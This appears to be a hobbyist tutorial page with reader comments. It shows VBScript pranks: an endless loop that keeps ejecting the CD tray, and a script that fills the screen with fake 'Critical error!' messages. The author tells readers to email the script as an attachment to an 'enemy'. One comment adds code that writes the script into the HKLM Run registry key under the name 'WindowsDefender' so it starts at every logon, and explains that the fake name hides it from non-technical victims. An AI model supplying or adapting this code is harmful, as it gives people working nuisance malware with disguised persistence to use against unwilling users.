Visual Basic Scripting Tricks (2)

Published

Introduction: Visual Basic Scripting Tricks (2)

visual basic scripting is scripting that has the potential to do any physical function that a computer has. i shall be showing two tricks of vbs

vbs files by the way, are saved as w/e.vbs (in the sense of w/e meaning whatever you want, not literally w/e). they similar to batch files, just different functions

Step 1: Continous Disk Opener

this will be a continuous disk opener, open notepad and write:
do

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

loop

save as w/e.vbs. send as an email attachment, and laugh at your enemy hahaha

Step 2: ERROR!!!

To make it appear as error, error, error, write the following:

lol = msgbox ("Critical error!" ,16, "ERROR")

(copy and paste 100 times, save as a .vbs file)

Step 3: Conclusion

well, that's all i know about vb scripting, if you hav any suggestion, please tell me and i shall change it

Share

    Recommendations

    • Water Contest

      Water Contest
    • Creative Misuse Contest

      Creative Misuse Contest
    • Clocks Contest

      Clocks Contest

    18 Discussions

    any script to copy the file to the start up folder automatically?

    lol i love the disc one, does it stop if you delete the file or restart the pc? idont know much about vb

    2 replies

    You could just type

    do
    lol=msgbox("Critical Error",16,"ERROR")
    loop

    for a continuous error message

    Dim moo1
    Set WshShell = WScript.CreateObject("WScript.Shell")
    moo1=Wscript.ScriptFullName

    'WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
    ---------------

    adds it to the registry for start up

    Yes it stops, but you can put this in Startup folder next logon the file itself will be executed.

    1 reply

    Dim moo1
    Set WshShell = WScript.CreateObject("WScript.Shell")
    moo1=Wscript.ScriptFullName

    WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
    ----------------------------------

    the above code will automatically add this to the registry for startup, most non techie people would find it mega hard to find it, plus i named the key WindowsDefender so its unlikly it will get picked up quickly as a false registry entry

    lol i had to hold dowwn the power button to make it stop

    Oy, you kin make something more useful, like a web browser, or a autoloading virus thingy. This is a BIT simple, but nice job.

    will this work:

    sub pwn()
    lol = msgbox ("Critical error!" ,16, "ERROR")
    pwn()
    end sub
    pwn()

    add "Do" to the top and "Loop" to the bottom, it will keep repeating until you shut down your computer or go to task manager - processes - and end proccess "wscript.exe"